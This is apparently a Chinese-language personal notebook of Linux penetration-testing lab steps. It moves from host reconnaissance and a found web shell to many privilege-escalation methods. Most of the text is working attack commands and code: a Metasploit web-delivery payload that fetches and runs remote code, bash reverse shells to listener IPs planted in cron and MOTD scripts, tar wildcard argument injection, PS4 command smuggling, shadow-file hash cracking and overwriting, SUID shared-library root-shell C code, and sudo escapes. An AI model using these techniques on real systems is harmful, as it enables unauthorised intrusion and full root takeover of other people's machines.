# 信息收集命令

# 系统信息

  • uname -a : 显示内核、操作系统和 CPU 信息。
  • head -n 1 /etc/issue : 显示操作系统版本。
  • cat /proc/version : 显示系统信息。
  • hostname : 显示计算机名。
  • env : 显示环境变量。

# 网络信息

  • ifconfig : 显示网络接口信息(现在更常用的是 ip addr show )。
  • netstat -lntp : 显示所有监听端口。
  • netstat -antp : 显示所有已建立的连接。
  • netstat -s : 显示网络统计信息。
  • iptables -L : 显示防火墙设置。
  • route -n : 显示路由表。

# 用户组信息系统服务

  • w :显示活动用户和他们正在使用的终端等信息。
  • id [username] :显示指定用户的信息,包括用户 ID(UID)、所属用户组等。
  • last :显示用户登录的历史记录,包括登录时间和来源。
  • cut -d: -f1 /etc/passwd :显示系统上所有用户的用户名。
  • cut -d: -f1 /etc/group :显示系统上所有组的组名。
  • crontab -l :显示当前用户的计划任务(定时任务)。
  • chkconfig --list :列出所有系统服务。
  • chkconfig --list | grep on :列出所有已启动的系统服务。
  • echo $PATH :显示系统的路径列表,用冒号分隔的目录列表表示系统在搜索可执行文件时的顺序。

# 信息收集

nmap -sT 192.168.244.0/24

访问 80 没啥东西扫一下目录

image-20231121190852090

扫到一个 shell.php

image-20231121191144694

# 反弹 shell

参数是 cmd 可以执行命令

image-20231121191211218

image-20231121191300474

msf script/web_delivery模块 反弹shell

use exploit/multi/script/web_delivery

set lhost 192.168.244.128

set lport 9000

run

image-20231121191557311

复制 payload 并且 url 编码添加在 cmd 参数后面执行得到 shell

python%20-c%20%22import%20sys%3Bimport%20ssl%3Bu%3D__import__('urllib'%2B%7B2%3A''%2C3%3A'.request'%7D%5Bsys.version_info%5B0%5D%5D%2Cfromlist%3D('urlopen'%2C))%3Br%3Du.urlopen('http%3A%2F%2F192.168.244.128%3A8080%2FsZTvRL2bM'%2C%20context%3Dssl._create_unverified_context())%3Bexec(r.read())%3B%22

image-20231121191810361

# 主机信息收集

先拿一个交互 shell

**python -c 'import pty;pty.spawn("/bin/bash")'**

image-20231121192112964

显示内核、操作系统和CPU信息
Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
操作系统版本
Linux Lite 4.4 LTS \n \l
显示系统信息
Linux version 4.15.0-45-generic (buildd@lgw01-amd64-031) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019
环境变量
env
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=15ecc432bc2940368927675d4ac3a3a3
APACHE_LOCK_DIR=/var/lock/apache2
PWD=/var/www/html
JOURNAL_STREAM=9:21980
APACHE_RUN_GROUP=user6
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_USER=user6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
计算机名
osboxes
系统路径列表
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
开启的服务
mysql 开启
用户
vboxadd
user1
user2
user3
user4
statd
user5
user6
mysql
user7
user8

# SUID 提权

SUID(Set User ID)是一种权限设置,允许用户以文件所有者的权限来执行文件,即使用户自身的权限可能不足以执行该文件。

在 Unix 或类 Unix 系统中,当一个可执行文件的 SUID 位被设置为 1 时,无论谁执行该文件,都会以该文件的所有者身份执行。这种权限设置通常用于系统文件或程序,以便允许普通用户执行特定的任务或命令,而无需暴露超出其权限范围的访问权限。

find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;

在 Unix 或 Linux 系统中查找具有 SUID 权限设置的文件。它会搜索整个文件系统 (“/”),找到具有 SUID 权限设置的文件 (“-perm -u=s”) 并将它们显示出来。同时,将任何错误消息重定向到 /dev/null,以避免它们显示在屏幕上。

常见的提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

查询到有一个 find

cd / cd /tmp 到 tmp 目录

创建一个文件

touch 1234

find 1234 -exec whoami ;

这个命令的作用是在当前目录下搜索名为 “1234” 的文件或目录,并对找到的每一个执行 whoami 命令。

find 命令用于查找文件和目录, -exec 选项允许在找到的每一个项目上执行特定的命令, \; 表示命令结束。

如果在当前目录下存在名为 “1234” 的文件或目录,对于每一个找到的 “1234”, whoami 命令将被执行,显示当前执行命令的用户的用户名。

image-20240207132333459

反弹 shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.244.128/4343 0>&1 \;

nc 开启监听接收到会话

image-20240207132540518

# 可读 shadow 文件利用

Shadow 文件的概述:

Shadow 文件是一个 Linux 系统中存储加密用户密码和其他身份信息,如账号过期时间,密码过期时间,账户锁定和密码最小长度等等的重要文件。

Shadow 文件位于 /etc/shadow ,只有 root 用户有权限访问它。

shadow 文件与 passwd 文件的关系:早些版本加密后的密码是保存在 passwd 文件里第二个字段的位置也就是图中 x 的位置

image-20240221212919749

但是呢虽然是加密的还是有可能被破解所以加上了 shadow 这个文件而 passwd 文件里的就被替换为了 X 占位,因为 shadow 文件只有 root 用户可以访问所以相对比较安全,不过有时管理员对文件权限错误配置也会导致被拿来恶意利用

文件格式:

登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::

利用条件 shadow 有权查看

image-20240221213805632

获取 root 用户信息并保存在新建文件中

image-20240221213918116

root:66mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::

利用工具 john 来破解

image-20240221220225042

得到明文密码就可以切换 root 了

image-20240221220330572

# 可写 shadow 文件利用

利用原理:把 shadow 文件里 root 用户 hash 值替换为自己生成的就可以 hash 再用生成用到的明文进行登录 root

前提要有 shadow 可写权限

通过 mkpasswd 生成哈希

mkpasswd -m sha-512 1234567

$6$hpRA5YNV9lAANtsF$JwX/K8VfxhxpTm5U2oTEgFw.YiYVCmfzZ0i6SqUDkpJRamWVmQ0LgflQUlhjVHkAS5N8MwFFR12mHBg6qFhwC/

image-20240221221309745

用 sha-512 是因为

$6$开头的,表明是用SHA-512加密的,密文长度86
      $1$ 表明是用MD5加密的,密文长度22个字符
      $2$ 是用Blowfish加密的,
      $5$ 是用 SHA-256加密的,密文长度43

接着把生成的 hash 替换原本的就可以用 1234567 登陆了

image-20240221221617115

# 可写 passwd 文件利用

虽然 passwd 文件里 hash 被 X 替代了无法查看但是把 X 替换为我们生成的 hash 还是可以登陆的

利用 openssl 生成

openssl passwd 987654321

$1$uOZ/Tr4f$EqDyR9WU8wJNeB3tEY09f.

把 passwd 里 root 的 X 替换

image-20240221222616639

即可用 987654321 切换 root

# 计划任务提权

查看计划任务

image-20240222000243892

* * * * * root /home/crontab.sh

这条计划任务的意思是每 1 分钟执行一次 crontab.sh 脚本,并且是以 root 用户的权限来执行。

而这个文件我们是有权更改的那么就可以写入反弹 shell 命令

echo 'bash -c "bash -i >& /dev/tcp/192.168.1.139/4444 0>&1"' > crontab.sh

nc 进行监听等一分钟拿 shell

image-20240222003928818

image-20240222005508201

# 计划任务环境变量提权

如果你在计划任务中没有指定程序的绝对路径,系统会在 crontab 文件中的 PATH 环境变量所列出的目录中查找该程序。这些目录会按照在 PATH 变量中的顺序被检查。如果在某个目录中找到了该程序,系统就会停止搜索并执行该程序。

图中每分钟执行一次 shell.sh 脚本但是没有指定绝对路径, PATH 中默认优先查找 /home/yunyi 路径下有没有 shell.sh 有的话

就每分钟执行,利用这个特性就可以在 yunyi 目录中创建一个 shell.sh 并写上反弹 shell 进行提权

image-20240223220655325

#!/bin/bash

bash -c "bash -i >& /dev/tcp/192.168.1.142/7676 0>&1"

image-20240223220835815

别忘了给执行权限 chmod +x shell.sh

kali:nc -vlnp 7676

获取 shell

image-20240223221033086

# 计划任务通配符提权

image-20240223220655325

这里还有一个 zip.sh 看一下内容是

image-20240223221316077

到 home/yunyi/user 目录下打包所有文件夹文件到 /tmp 目录下名为 yunyi.tar.gz

利用 tar 命令的 –checkpoint –checkpoint-action

tar 命令的 –checkpoint –checkpoint-action 参数可以被用来执行提权操作这是因为 tar` 命令在处理文件时,可以在每个检查点 checkpoint 执行一个特定的动作 action

如果管理员给予了某个普通用户 tar 命令的超级管理员操作权限,那么我们可以使用 tar 命令进行提权例如,以下命令可以创建一个新的归档文件,并在每个检查点执行 /bin/bash 命令

sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"

在这个命令中, --checkpoint=1 表示每处理一个文件就设置一个检查点, --checkpoint-action=exec="/bin/bash" 表示在每个检查点执行 /bin/bash 命令因为 tar 命令是以 root 用户的身份运行的,所以 /bin/bash 命令也会以 root 用户的身份运行,从而获得 root 权限

kali 生成反弹 shell 文件

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.142 LPORT=8989 -f elf -o shell.elf

启动一个 http 服务受害机下载 shell 文件并给予权限

image-20240224132512587

image-20240224132558854

在 user 目录创建这两个文件

touch /home/yunyi/user/--checkpoint-action=exec=shell.elf

touch /home/yunyi/user/--checkpoint=1

image-20240224133036613

image-20240224140015673

nc -lvnp 8989 拿到权限

也可以创建一个 sh 脚本反弹 shell

touch /home/yunyi/user/--checkpoint-action=exec=sh shell.sh

# SUID 原理详解

# SUID 共享库提权

其实 suid 提权原理就是利用有 s 位的程序去执行我们的恶意文件恶意命令

编写一个有漏洞的程序

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main(int argc, char **argv) {
    // 检查是否提供了正确数量的参数
    if (argc != 2) {
        printf("Usage: %s <path to .so file>\n", argv[0]);
        return 1;
    }
    // 使用 dlopen 函数加载共享库
    // RTLD_LAZY 表示在 dlopen 返回前,解析器不会解析库中的任何符号
    // 符号解析将推迟到第一次调用 dlsym 或者第一次访问这些符号时进行
    void *handle = dlopen(argv[1], RTLD_LAZY);
    if (!handle) {
        // 如果 dlopen 返回 NULL,表示加载共享库失败
        // 此时可以使用 dlerror 函数获取错误信息
        fprintf(stderr, "Error: %s\n", dlerror());
        return 1;
    }
    // 使用 dlclose 函数卸载共享库
    // 如果共享库不再需要,应该尽快卸载,以节省内存资源
    dlclose(handle);
    return 0;
}

编译好给 s 权限

gcc -o loader loader.c -ldl
sudo chown root:root loader
sudo chmod u+s loader

这段程序会接受我们传入的参数这个参数就是一个共享库 so 文件,因为这个文件是有 s 位权限的我们就可以写一个提权的 so 文件执行以后就会获取 root 权限的 shell

编写一个共享库文件里面是提权代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 使用 attribute ((constructor)) 标记,使得这个函数在 main 函数执行前被调用
static void shell() __attribute__((constructor));
void shell(){
    // 将当前进程的用户 ID 和组 ID 设置为 0(对应 root 用户)
    setgid(0);
    setuid(0);
    // 启动一个新的 bash shell
    //-p 选项会让 bash 保留特权,这意味着新启动的 shell 会以 root 权限运行
    system("/bin/bash -p");
}
#编译成 so
gcc -shared -fPIC -o shell2.so shell2.c
#生成一个名为 shell.so 的共享库文件。-shared 生成一个共享库,-fPIC 生成位置无关代码,

image-20240224223157195

执行 /usr/local/bin/loader shell.so

当前权限

image-20240224225741050

执行以后

image-20240224225907104

原理:

漏洞点在于程序允许任何用户加载并执行任意的共享库。如果一个恶意用户能够控制被加载的共享库,那么他们就可以执行任意代码,并且由于程序设置了 SUID 位,这段代码将以文件所有者(在我们的例子中是 root 用户)的权限来执行。

例如,可以创建一个共享库,其中包含一个构造函数(在共享库被加载时自动执行的函数),这个构造函数执行一些恶意操作,如创建一个 root shell。然后可以通过程序来加载这个共享库。由于程序设置了 SUID 位,这个共享库将以 root 用户的权限来执行,因此就可以获得 root 权限。

# SUID 环境变量劫持提权

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
    // 尝试执行 shell 程序
      setuid(0);
      setgid(0);
    if (system("shell") == -1) {
        printf("错误:没有找到shell\n");
    } else {
        printf("shell程序已成功执行\n");
    }
    return 0;
}

因为它使用了 system 函数,而 system 函数会在用户的环境变量 PATH 中查找命令。因此,如果用户有权限修改自己的环境变量,就可以劫持 shell 文件写一个同名文件然后写入提权程序拿到 root

在 /home/kali/hc 创建一个 shell 程序

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void main(){
       setgid(0);
       setuid(0);
       system("/bin/bash -p");
}

更改临时环境便变量让程序执行时首先查找 /home/kali/hc 目录下有没有 shell

export PATH=/home/kali/hc:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/kali/hc

image-20240225152031452

# SUID - 滥用 shell 功能提权

查看 bash 版本在 bash 版本低于 4.4 的时候用

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid4 进行提权

原理为:

env -i :这个命令用于运行一个程序,在一个新的、空的环境中。也就是说,它不会继承任何环境变量。

SHELLOPTS=xtrace :这个环境变量设置 Bash shell 进入追踪模式(xtrace),在这种模式下,Bash 会打印出执行的每一条命令。

然后用 PS4 配合 xtrace 提权 PS4 是一个环境变量这个环境变量设置了 Bash shell 在打印追踪信息时使用的提示符

默认PS4` 的值设置为 `'+'
也就是我们打开xtrace模式打印出来的命令前面的+号
例如:
#!/bin/bash
PS4='Line ${LINENO}: '
set -x
echo "Hello, world!"
运行这个脚本,你会看到:
Line 4: echo Hello, world!
Hello, world!

PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' :我们把他替换为了 '$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' 这些命令复制 /bin/bash/tmp/rootbash ,并给予新文件 SUID 权限。这意味着任何用户运行 /tmp/rootbash 时,都会以文件所有者(在这种情况下是 root)的权限来运行。

/usr/local/bin/suid4 :这是要以新环境运行的程序。一个有 s 位的程序,由于 SHELLOPTSPS4 的设置,它会在运行时执行 PS4 中的命令也就是复制出一个具有 root 权限的 bash shell 到 /tmp

然后我们运行 rootbash -p 即可获得 root 权限的 shell

image-20240225180540986

可看到运行后生成了 rootbash 获取了 root

当然可以将 PS4 中的命令替换为任何有效的 Bash 命令。因为 PS4 变量的值会在每次打印追踪信息之前被执行。所以你可以在 PS4 中插入任何你想要在每次命令执行之前运行的代码。

# NSF 提权

nsf 是 Linux 系统中用于共享文件和目录的功能通过 NFS,用户和程序可以访问远程系统上的文件,就像访问本地文件一样

nsf 的配置在 /etc/exports 文件中

image-20240226133638600

这行表示共享 /tmp 目录,所有的网络主机都可以访问(由 * 表示),有读写权限(由 rw 表示),共享将立即写入磁盘就是立即生效(由 sync 表示), insecure 允许非保留端口连接 ,禁止 root 权限映射(由 no_root_squash 表示),并且不检查子目录的权限(由 no_subtree_check 表示)。

特别是有 no_root_squash 启用 no_root_squash 会使得 root 在 NFS 客户端上拥有和服务器上相同的权限

利用:

创建一个目录进行挂载

mkdir /home/kali/hc/nfs-shell

mount -o rw,vers=3 192.168.1.144:/tmp /home/kali/hc/nfs-shell

rw 读写权限,vers3 版本

成功挂载

image-20240226142439658

接下来写一个提权程序

vim shell.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main(){
       setgid(0);
       setuid(0);
       system("/bin/bash -p");
}

编译然后给 shell 执行权限

image-20240226145826134

回到受害机执行提权到 root

image-20240226170226574

# 内核提权

查看内核版本 uname -a

curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

下载 linpeas 脚本收集信息

如果没有 curl 可以用 kali 下载 nc 传过来

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

kali: nc -lvnp 80 < linpeas.sh

受害: cat < /dev/tcp/192.168.1.145/80 | sh

image-20240226191302928

# 脏牛提权 (CVE-2016-5195)

searchsploit 搜索脏牛

image-20240226192506760

有这些漏洞利用脚本下一个

searchsploit -m 40839.c

传到受害查看说明

image-20240226192639018

要用 - pthread 和 - lcrypt 编译编译好后执行然后输入新的密码就可以了

image-20240226193427616

# MOTD 机制提权

image-20240226195723017

update-motd.d 目录下的脚本在用户通过 SSH 登录时会被执行,用于生成登录后的欢迎信息这些脚本通常以 root 权限运行

00-headerupdate-motd.d 目录下的一个脚本如果一个用户对 00-header 文件有写权限,那么他们就可以修改这个文件,插入一些恶意代码例如,他们可以添加一个修改 root 用户密码的命令或者反弹 shell 当其他用户通过 SSH 登录时, 00-header 脚本会以 root 权限运行,执行其中的命令

vim 输入 bash -c "bash -i >& /dev/tcp/192.168.1.145/4444 0>&1"

kali 监听 nc -lvnp 4444

再重新 ssh 登陆让他执行这个脚本,成功拿到 root

image-20240226200442064

# sudo 提权

# sudofind 提权

sudo find . -exec /bin/sh \; -quit

image-20240301183010100

# sudoapt 提权

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

image-20240301183347295

# sudovim 提权

sudo vim -c ':!/bin/sh'

image-20240301193448209

# GTFOBins

这个网站可以搜索更多 sudo suid 提权

image-20240301201128501

image-20240301201241369